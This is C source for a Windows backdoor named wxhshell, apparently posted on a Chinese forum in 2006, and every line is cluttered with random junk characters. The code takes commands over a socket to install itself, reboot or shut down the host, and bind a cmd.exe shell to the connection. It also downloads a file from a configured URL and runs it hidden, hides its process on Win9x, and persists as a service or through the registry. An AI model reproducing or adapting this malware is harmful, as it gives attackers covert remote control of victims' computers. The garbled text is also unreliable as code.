yp]vDm  
    switch(cmd[0]) { Z 5 .cfI[  
  NV{= tAR  
  // 帮助 xZq, kP^  
  case '?': { ?gU - a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Tl_o+jj  
    break; #.]W>hN8\  
  } x=K'Jj  
  // 安装 a]V#mF |{  
  case 'i': { `mZ1!I-T  
    if(Install()) 5' t9/8i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U\{I09@E 0  
    else [4;_8-[Nv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B2BG*xa  
    break; kSge4?&  
    } !eb{#9S*  
  // 卸载 k=Wt57jt  
  case 'r': { *mn9CVZ(}M  
    if(Uninstall()) XkW@"pf&Fh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @/01MBs;  
    else b<r*EY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [r]<~$  
    break; 8j]QnH0&  
    } C2iOF/4  
  // 显示 wxhshell 所在路径 m=pH G  
  case 'p': { RAEN  &M  
    char svExeFile[MAX_PATH]; &QH mo*  
    strcpy(svExeFile,"\n\r"); TgRG6?#^l  
      strcat(svExeFile,ExeFile); Ak`?,*L M  
        send(wsh,svExeFile,strlen(svExeFile),0); Q[`2? j?  
    break; .Xxxz Wyk  
    } "AWk jdj  
  // 重启 K;`*n7=IA  
  case 'b': { 1-4[w *u>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _{B2z[G}  
    if(Boot(REBOOT)) v+C D{Tc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NXOvC!<  
    else { e \kR/<L  
    closesocket(wsh); ](ztb)  
    ExitThread(0); 4Im}!q5;:<  
    } )OlYz!#?  
    break; KJ-Q$ M  
    } (a,`Y.  
  // 关机 0icB2Jm:D}  
  case 'd': { JO87rG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s.Mrd~(Drz  
    if(Boot(SHUTDOWN)) 03 v\v9<T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #s}tH$MT#  
    else { =/xXB  
    closesocket(wsh); f|!@H><  
    ExitThread(0); {qry2ZT5  
    } LM.#~7jC  
    break; jNIz:_c-~  
    } !P6y_Frpe  
  // 获取shell ri9n.-xs  
  case 's': { 1Ji"z>H*  
    CmdShell(wsh); at3YL[,[Z  
    closesocket(wsh); #TP Y%  
    ExitThread(0); ryd}-_LL  
    break; `AdHyE  
  } ybB<AkYc  
  // 退出 d?CU+=A&|  
  case 'x': { DEv,!8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _B]Bd@<w  
    CloseIt(wsh); 3 }rx(  
    break; ,.gI'YPQC  
    } 4x/u$Ixzh=  
  // 离开 `Uk jr MO  
  case 'q': { &)~LGWBdC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xA}{ZnTbN  
    closesocket(wsh); i079 V  
    WSACleanup(); @ 6b;sv1W  
    exit(1); SYOU &*  
    break; 8wS9%+  
        } f K4M:_u  
  } } 4>#s$.2  
  }  Z\$!:  
4T<dI6I0  
  // 提示信息 |@ZyD$?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jm |zn  
} Rn whkb&&  
  } y+VR D  
~-(X\:z}  
  return; ;Y &2G'  
} C2%Yry  
JAL"On#c#0  
// shell模块句柄 Ly/5"&HD  
int CmdShell(SOCKET sock) eR8>5:V_  
{ K*MI8')  
STARTUPINFO si; stCFLYox  
ZeroMemory(&si,sizeof(si)); yD ur9Qd6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lzZ=!dG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5g4c1K  
PROCESS_INFORMATION ProcessInfo; jmnrpXaAx  
char cmdline[]="cmd"; jRdW=/q+(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U09@pne8  
  return 0; "\1V^2kMr  
} yj`xOncE}  
C_hIPMU=  
// 自身启动模式 3j$,x(ua9  
int StartFromService(void) VzFzVeJ  
{ dU"C=c(w\  
typedef struct m9m~2   
{ z;i4F.p  
  DWORD ExitStatus; x\(yjNZH  
  DWORD PebBaseAddress; TGPHjSZ1  
  DWORD AffinityMask; 7o M]qLF  
  DWORD BasePriority; >5]w\^QN9_  
  ULONG UniqueProcessId; " []J[!}x  
  ULONG InheritedFromUniqueProcessId; L2y{\<JC"  
}   PROCESS_BASIC_INFORMATION; |.U- yyz  
,%]s:vk[u  
PROCNTQSIP NtQueryInformationProcess; < 'qtqUL\  
kI$p~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M7IQJFra  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DWJkN4}o  
/K#J63 ,  
  HANDLE             hProcess; :!gzx n  
  PROCESS_BASIC_INFORMATION pbi; t~]oJ5%  
%^8>=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~;Xkt G:  
  if(NULL == hInst ) return 0; I*i$!$Bx2  
"LH*T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Fqp~1>wi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \A3yM{G~+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8 uhB&qxB  
,_t}\7  
  if (!NtQueryInformationProcess) return 0; ;]h:63 S  
38q0iAH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'r?OzFtxh  
  if(!hProcess) return 0; [ w1"  
\ 8X8N CM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 32V,25 (`5  
FwGMrJW  
  CloseHandle(hProcess); z'}?mE3i  
p}swJ;S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Aonq;} V e  
if(hProcess==NULL) return 0; Th//uI+  
ud.Bzg:/  
HMODULE hMod; 3#T_(  
char procName[255]; V 5ihplAk  
unsigned long cbNeeded; OKq={l  
Y_Lsmq2!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gb0ZGnI  
OECXNx  
  CloseHandle(hProcess); Y:="vWWG  
?`O Dt]s  
if(strstr(procName,"services")) return 1; // 以服务启动 YPq`su7m9  
EMejvPnZO  
  return 0; // 注册表启动 $$G^#t1=XZ  
} P X<,/6gz  
Mky8qVQ2  
// 主模块 yo0?QRT  
int StartWxhshell(LPSTR lpCmdLine) _j2h3lCT  
{ !P26$US%P  
  SOCKET wsl; wen6"  
BOOL val=TRUE; {n%U2LVL  
  int port=0; p^``hP:J  
  struct sockaddr_in door;  goT:\2  
Rx=pk  
  if(wscfg.ws_autoins) Install(); FR@ dBcJUU  
B1Iq:5nmoS  
port=atoi(lpCmdLine); {N,w5!cP  
uy;3s=03^  
if(port<=0) port=wscfg.ws_port; X_eV<]zA+  
|"Oazll  
  WSADATA data; Zb#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \:?H_^^ d  
]H|1q uT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .*g;2.-qv&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); br'/>Un"  
  door.sin_family = AF_INET; ;3_Q7;y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <!|2Ru  
  door.sin_port = htons(port); G:rM_q9\u  
6l$o^R^D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P5P<-T{-c  
closesocket(wsl); n1W}h@>8  
return 1; Swua dN  
} ;"nEEe]?  
HnqZ7%jeN  
  if(listen(wsl,2) == INVALID_SOCKET) { 0\U28zbMJw  
closesocket(wsl); M$gy J!Pb  
return 1; Z [5HI;  
} n{Mj<\kL  
  Wxhshell(wsl); 9aC>gye!  
  WSACleanup(); HF\L`dJX?  
\ca4X{x  
return 0; E%-&!%_>D@  
i9)y|  
} <s#}`R.#2  
t5N4d  
// 以NT服务方式启动 |R*fw(=W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _H8)O2mJ  
{ X6<HNLgra  
DWORD   status = 0; ;o3 .<"  
  DWORD   specificError = 0xfffffff; [* > @hx  
RGtUKr'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^j=_=Km]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r/O(EW#=8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  5>w>J  
  serviceStatus.dwWin32ExitCode     = 0; 1^zF/$%  
  serviceStatus.dwServiceSpecificExitCode = 0; D\V}Eo';6  
  serviceStatus.dwCheckPoint       = 0; Krq^|DY  
  serviceStatus.dwWaitHint       = 0; 6v1#i  
%9NGVC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W#y)ukRv  
  if (hServiceStatusHandle==0) return; xD1B50y U  
}u+R,@l/  
status = GetLastError(); e:V,>RbC0s  
  if (status!=NO_ERROR) d*>M<6b-  
{ z4J-qK~2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a3lo;Cfp  
    serviceStatus.dwCheckPoint       = 0; :({lXGc}4?  
    serviceStatus.dwWaitHint       = 0; p-; ]O~^  
    serviceStatus.dwWin32ExitCode     = status; 65J'u N  
    serviceStatus.dwServiceSpecificExitCode = specificError; x{ZVq 4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G%kXr$?W  
    return; ?0;b}Xl-  
  } ?I/,r2ODLh  
c@q>5fR/c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iKS9Xss8  
  serviceStatus.dwCheckPoint       = 0; U.6hLFcE  
  serviceStatus.dwWaitHint       = 0;  BW\R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LL6f40hC  
} esu6iU@  
WD?V1:>+  
// 处理NT服务事件,比如:启动、停止 7\/O"Ot  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yMSRUQ x  
{ dF.T6b  
switch(fdwControl) eNNgxQw>m  
{ !s)$_tG  
case SERVICE_CONTROL_STOP: 329xo03-[  
  serviceStatus.dwWin32ExitCode = 0; WAdl@){  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FUcs=7c  
  serviceStatus.dwCheckPoint   = 0; v}Aw!Dv/  
  serviceStatus.dwWaitHint     = 0; G+g`=7  
  { !J6s^um  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CWN=6(y  
  } vp_$6  
  return; "+ Qh,fTt  
case SERVICE_CONTROL_PAUSE: #/jHnRrQ   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q2<J`G(tZ  
  break; [ $"iO#oO  
case SERVICE_CONTROL_CONTINUE: /w!' [  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Iw<c 9w8  
  break; [a |fm*B!  
case SERVICE_CONTROL_INTERROGATE: v S+~4Q41  
  break; I] "$h]T  
}; RY~)MS _C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .N+xpxdG,  
} IkZ_N#m  
 #b"IX`5  
// 标准应用程序主函数 ]Ns&`Yn{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vut.oB$ ~  
{ BA>0 +  
Q)}\4&4  
// 获取操作系统版本 =}"hC`3e  
OsIsNt=GetOsVer(); 8 [."%rzN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m X1oRhf  
QNtr=  
  // 从命令行安装 bn(Scl#@K  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?rK%;GTo  
=J'?>-B  
  // 下载执行文件 p.\KmEx  
if(wscfg.ws_downexe) { Q:Ms D.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .6;B3  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z{CL!  
} jI V? p  
.>nd@oU  
if(!OsIsNt) { $tKATL*  
// 如果时win9x,隐藏进程并且设置为注册表启动 D8#q.OR]  
HideProc(); &Egn`QU  
StartWxhshell(lpCmdLine); %7@H7^s}9  
} j bGH3 L  
else RQ'c~D)X  
  if(StartFromService()) z0UO<Y?9  
  // 以服务方式启动 vp|=q;Q%r  
  StartServiceCtrlDispatcher(DispatchTable); /uc/x+(_  
else W|Tew-H{h_  
  // 普通方式启动 #~f+F0#%?  
  StartWxhshell(lpCmdLine); Gehl/i-  
U+RPn?Q  
return 0; H'`(|$:|  
}
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只看该作者 1 发表于: 2006-10-10
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